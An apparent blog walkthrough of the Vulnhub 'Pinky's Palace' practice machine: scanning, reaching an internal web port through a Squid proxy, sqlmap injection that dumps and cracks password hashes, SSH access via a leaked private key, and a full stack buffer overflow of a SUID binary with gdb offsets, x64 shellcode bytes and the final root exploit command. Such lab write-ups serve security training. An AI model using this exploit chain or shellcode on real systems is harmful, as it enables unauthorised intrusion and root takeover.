Vulnhub virtual machine; OSCP prep box, pivoting enumeration through separate web-server to engage the target. Buffer-overflow of an application to gain root.

Legal Usage: The information provided by executeatwill is to be used for educational purposes only. The website creator and/or editor is in no way responsible for any misuse of the information provided. All the information on this website is meant to help the reader develop penetration testing and vulnerability aptitude to prevent attacks discussed. In no way should you use the information to cause any kind of damage directly or indirectly. Information provided by this website is to be regarded from an “ethical hacker” standpoint. Only preform testing on systems you OWN and/or have expressed written permission. Use information at your own risk.

By continued reading, you acknowledge the aforementioned user risk/responsibilities.

Discover VM on network netdiscover -r 192.168.56.0/24

Target: 192.168.56.117 verified via vm:

Enumeration

Onetwopunch Scan: this script offers a bit of a change from nmap and uses unicornscan added ip to targets.txt

./onetwopunch.sh -t targets.txt   (results are saved to ~/.onetwopunch/udir/192.168.56.117-tcp.txt)

(started freaking out on me. Will have to re-attack as to why?!)

Nmap scan:

1	`nmap -sV -sC -oA nmap/pinkyv1 192.168.56.117`

looks as if we have two HTTP servers operating on ports 8080 and 31337

Nmap scan number 2

1	`nmap -O -sT -sV -p- -T5 192.168.56.117`

more of an aggressive scan and found the ssh server.

Navigating to first port 8080

source:

looks to be forbidden.

Navigating to port 31337

an error page with looks to be some type of application bleed of squid/3.5.23.

source:

ok, looks like we are working with Stylesheet for Squid Error pages as our application on our web-server

Let move to impersonate a local ip (127.0.0.1) for port 8080 that was refusing connections.

1	`curl -x http://192.168.56.117:31337 http://127.0.0.1:8080`

we have just fooled the web-server in thinking the request came from the internal network.

Perform gobuster with a proxy of port 31337

gobuster -u http://127.0.0.1:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster-webservices.out -p http://192.168.56.117:31337

/littlesecrets-main directory discovered.

added the target ip + port as a proxy and navigated to directory.

we have a login page

gobuster enumeration of files

gobuster -u http://127.0.0.1:8080/littlesecrets-main/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -p http://192.168.56.117:31337 -x .php,.bak,.txt

discovered /login.php, /logs.php

Lets try to enter this login page via sqlmap

sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --dbms=mysql --proxy=http://192.168.56.117:31337 --data="user=adm&pass=passw" --dump users --level=5 --risk=3

after a bit of time we are able to decode the pinky_sec_db

the hashes look like md5 and with a quick decryption of them at https://www.md5online.org/md5-decrypt.html we have credentials.

pinky:f543dbfeaf238729831a321c7a68bee4 = [not found on md5online]
pinkymanage:d60dffed7cc0d87e1f4a11aa06ca73af = 3pinkysaf33pinkysaf3

since it looks like we have a mange hash lets try and SSH to box

SSH

1	`ssh [email protected] -p 64666`

sudo -l

search for hidden files:

find ./

looks to be an ultrasecret and a note.txt

cat both files:

we have an rsa key (encoded in base64) and the note confirms said rsa key.

decode rsa key

1	`cat ./html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret \| base64 -d`

Priv-esc

with decoded private key we can now placed the key on our local box ~/.ssh/pinkyv1 and change the chmod to 600 and connect to pinky ssh with private key.

1	`ssh -i ~/.ssh/pinkyv1 [email protected] -p 64666`

we are now operating as pinky.

from the home directory we discover this adminhelper binary

this binary when executed submits an echo and could be vulnerable to an overflow

testing:

1	`./adminhelper "test the test"`

attempting to crash binary

1	`./adminhelper $(python -c 'print("A" * 1024)')`

segmentation fault - exactly what we were looking for to happen.

Buffer Overflow

This binary also has an SUID bit which will allow us to act as root if executed.

we need to find where the application crashes
find the offset
insert our shell code to take advantage of overflow
location of crash

use gdb to figure out what address application crashes at.

gdb --args ./adminhelper aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

break-main

1	`break main`

run application

view registers

1	`info reg`

this is a 64-bit architecture based off the different register layout.

rip is at main

continue running

we have reached the segmentation fault - application crash. Our next step would be to determine location of frame pointer.

1	`x/s $rbp`

this means that the overflow has occurred at 0x61616161616161

next, examine the stack pointer $rsp

x/s $sp

means that “A” exceeded the buffer by 55 times.

examine the “A” sent initially and subtracted 55 from the total

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (subtracted 55)

our remaining number and/or offset = 72

re-run gdb with argv of 72 and additional text to ensure we are filling the $rsp with “a” and taking over the $rsp

gdb --args ./adminhelper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbcdefghi

which is 72 “a”s and “bcdefghi” which should be the “rsp”.

break-main

1	`break main`

run application

run

continue

crash:

Disassemble the main

1	`disassemble`

we are exploiting this “strcpy” command that is vulnerable to the buffer overflow.

inspect the $rbp

1	`x/s $rbp`

here are our “A”s

inspect the $rsp

1	`x/s $rsp`

here are teh extra bytes we took over the rsp with. We need to inject the shell code into this rsp location!

shellcode payload for x64 systems will result in a shell via push. This is provided by link: http://shell-storm.org/shellcode/files/shellcode-806.php along with exploit-db link: https://www.exploit-db.com/exploits/36858

shellcode:

1	`[had to remove the shellcode]`

Leading us to getenv.c

/* yaojingguo commented on Nov 8, 2016The code is from Page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition . */                 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
        char *ptr;

        if(argc < 3) {
                printf("Usage: %s <environment variable> <target program name>\n", argv[0]);                                                  
                exit(0);
        }
        ptr = getenv(argv[1]); /* get env var location */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */                                                           
        printf("%s will be at %p\n", argv[1], ptr);

this try to inject an environment variable into the program. Use this script to find an injectable address

Create an variable via export with shellcode from above. In the end this will return the exploit address of the shell code.

export SHELLCODE=`python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`

see the variable created in env

env

after compiling the getenv.c to an application we will execute the variable within the application

1	`./getenv SHELLCODE ./adminhelper`

results in our shellcode being placed at 0x7fffffffed68

Root

next, we run the ./adminhelper with our initial payload of “A” and add our return address to our shellcode in little little endian format.

./adminhelper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x68\xed\xff\xff\xff\x7f

or use python
./adminhelper `python -c 'print "A"*72+"\x68\xed\xff\xff\xff\x7f"'`